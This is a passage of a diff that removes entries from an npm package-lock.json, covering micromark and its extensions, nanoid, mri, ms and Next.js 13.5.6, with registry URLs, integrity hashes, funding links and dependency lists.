"sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "@types/debug": "^4.0.0", - "debug": "^4.0.0", - "decode-named-character-reference": "^1.0.0", - "micromark-core-commonmark": "^1.0.1", - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-chunked": "^1.0.0", - "micromark-util-combine-extensions": "^1.0.0", - "micromark-util-decode-numeric-character-reference": "^1.0.0", - "micromark-util-encode": "^1.0.0", - "micromark-util-normalize-identifier": "^1.0.0", - "micromark-util-resolve-all": "^1.0.0", - "micromark-util-sanitize-uri": "^1.0.0", - "micromark-util-subtokenize": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.1", - "uvu": "^0.5.0" - } - }, - "node_modules/micromark-core-commonmark": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", - "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "micromark-factory-destination": "^1.0.0", - "micromark-factory-label": "^1.0.0", - "micromark-factory-space": "^1.0.0", - "micromark-factory-title": "^1.0.0", - "micromark-factory-whitespace": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-chunked": "^1.0.0", - "micromark-util-classify-character": "^1.0.0", - "micromark-util-html-tag-name": "^1.0.0", - "micromark-util-normalize-identifier": "^1.0.0", - "micromark-util-resolve-all": "^1.0.0", - "micromark-util-subtokenize": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.1", - "uvu": "^0.5.0" - } - }, - "node_modules/micromark-extension-gfm": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-2.0.3.tgz", - "integrity": "sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==", - "dependencies": { - "micromark-extension-gfm-autolink-literal": "^1.0.0", - "micromark-extension-gfm-footnote": "^1.0.0", - "micromark-extension-gfm-strikethrough": "^1.0.0", - "micromark-extension-gfm-table": "^1.0.0", - "micromark-extension-gfm-tagfilter": "^1.0.0", - "micromark-extension-gfm-task-list-item": "^1.0.0", - "micromark-util-combine-extensions": "^1.0.0", - "micromark-util-types": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-autolink-literal": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-1.0.5.tgz", - "integrity": "sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==", - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-sanitize-uri": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-footnote": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-1.1.2.tgz", - "integrity": "sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==", - "dependencies": { - "micromark-core-commonmark": "^1.0.0", - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-normalize-identifier": "^1.0.0", - "micromark-util-sanitize-uri": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-strikethrough": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-1.0.7.tgz", - "integrity": "sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==", - "dependencies": { - "micromark-util-chunked": "^1.0.0", - "micromark-util-classify-character": "^1.0.0", - "micromark-util-resolve-all": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-table": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-1.0.7.tgz", - "integrity": "sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==", - "dependencies": { - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-tagfilter": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-1.0.2.tgz", - "integrity": "sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==", - "dependencies": { - "micromark-util-types": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-task-list-item": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-1.0.5.tgz", - "integrity": "sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==", - "dependencies": { - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-math": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/micromark-extension-math/-/micromark-extension-math-2.1.2.tgz", - "integrity": "sha512-es0CcOV89VNS9wFmyn+wyFTKweXGW4CEvdaAca6SWRWPyYCbBisnjaHLjWO4Nszuiud84jCpkHsqAJoa768Pvg==", - "dependencies": { - "@types/katex": "^0.16.0", - "katex": "^0.16.0", - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdx-expression": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-1.0.8.tgz", - "integrity": "sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "@types/estree": "^1.0.0", - "micromark-factory-mdx-expression": "^1.0.0", - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-events-to-acorn": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - } - }, - "node_modules/micromark-extension-mdx-jsx": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-1.0.5.tgz", - "integrity": "sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==", - "dependencies": { - "@types/acorn": "^4.0.0", - "@types/estree": "^1.0.0", - "estree-util-is-identifier-name": "^2.0.0", - "micromark-factory-mdx-expression": "^1.0.0", - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0", - "vfile-message": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdx-jsx/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdx-md": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-1.0.1.tgz", - "integrity": "sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==", - "dependencies": { - "micromark-util-types": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdxjs": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-1.0.1.tgz", - "integrity": "sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==", - "dependencies": { - "acorn": "^8.0.0", - "acorn-jsx": "^5.0.0", - "micromark-extension-mdx-expression": "^1.0.0", - "micromark-extension-mdx-jsx": "^1.0.0", - "micromark-extension-mdx-md": "^1.0.0", - "micromark-extension-mdxjs-esm": "^1.0.0", - "micromark-util-combine-extensions": "^1.0.0", - "micromark-util-types": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdxjs-esm": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-1.0.5.tgz", - "integrity": "sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==", - "dependencies": { - "@types/estree": "^1.0.0", - "micromark-core-commonmark": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-events-to-acorn": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "unist-util-position-from-estree": "^1.1.0", - "uvu": "^0.5.0", - "vfile-message": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-mdxjs-esm/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-factory-destination": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", - "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-factory-label": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", - "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - } - }, - "node_modules/micromark-factory-mdx-expression": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-1.0.9.tgz", - "integrity": "sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "@types/estree": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-events-to-acorn": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "unist-util-position-from-estree": "^1.0.0", - "uvu": "^0.5.0", - "vfile-message": "^3.0.0" - } - }, - "node_modules/micromark-factory-mdx-expression/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-factory-space": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", - "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-factory-title": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", - "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-factory-whitespace": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", - "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-factory-space": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-util-character": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.2.0.tgz", - "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-util-chunked": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", - "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-symbol": "^1.0.0" - } - }, - "node_modules/micromark-util-classify-character": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", - "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-util-combine-extensions": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", - "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-chunked": "^1.0.0", - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-util-decode-numeric-character-reference": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", - "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-symbol": "^1.0.0" - } - }, - "node_modules/micromark-util-decode-string": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", - "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "micromark-util-character": "^1.0.0", - "micromark-util-decode-numeric-character-reference": "^1.0.0", - "micromark-util-symbol": "^1.0.0" - } - }, - "node_modules/micromark-util-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", - "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/micromark-util-events-to-acorn": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-1.2.3.tgz", - "integrity": "sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "@types/acorn": "^4.0.0", - "@types/estree": "^1.0.0", - "@types/unist": "^2.0.0", - "estree-util-visit": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0", - "vfile-message": "^3.0.0" - } - }, - "node_modules/micromark-util-events-to-acorn/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-util-html-tag-name": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", - "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/micromark-util-normalize-identifier": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", - "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-symbol": "^1.0.0" - } - }, - "node_modules/micromark-util-resolve-all": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", - "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-types": "^1.0.0" - } - }, - "node_modules/micromark-util-sanitize-uri": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", - "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^1.0.0", - "micromark-util-encode": "^1.0.0", - "micromark-util-symbol": "^1.0.0" - } - }, - "node_modules/micromark-util-subtokenize": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", - "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-chunked": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" - } - }, - "node_modules/micromark-util-symbol": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", - "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/micromark-util-types": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.1.0.tgz", - "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/mri": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz", - "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", - "engines": { - "node": ">=4" - } - }, - "node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "node_modules/nanoid": { - "version": "3.3.7", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", - "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/next": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/next/-/next-13.5.6.tgz", - "integrity": "sha512-Y2wTcTbO4WwEsVb4A8VSnOsG1I9ok+h74q0ZdxkwM3EODqrs4pasq7O0iUxbcS9VtWMicG7f3+HAj0r1+NtKSw==", - "dependencies": { - "@next/env": "13.5.6", - "@swc/helpers": "0.5.2", - "busboy": "1.6.0", - "caniuse-lite": "^1.0.30001406", - "postcss": "8.4.31", - "styled-jsx": "5.1.1", - "watchpack": "2.4.0" - }, - "bin": { - "next": "dist/bin/next" - }, - "engines": { - "node": ">=16.14.0" - }, - "optionalDependencies": { - "@next/swc-darwin-arm64": "13.5.6", - "@next/swc-darwin-x64": "13.5.6", - "@next/swc-linux-arm64-gnu": "13.5.6", - "@next/swc-linux-arm64-musl": "13.5.6", - "@next/swc-linux-x64-gnu": "13.5.6", - "@next/swc-linux-x64-musl": "13.5.6", - "@next/swc-win32-arm64-msvc": "13.5.6", - "@next/swc-win32-ia32-msvc": "13.5.6", - "@next/swc-win32-x64-msvc": "13.5.6" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.1.0", - "react": "^18.2.0", - "react-dom": "^18.2.0", - "sass": "^1.3.0" - }, - "peerDependenciesMeta": { - 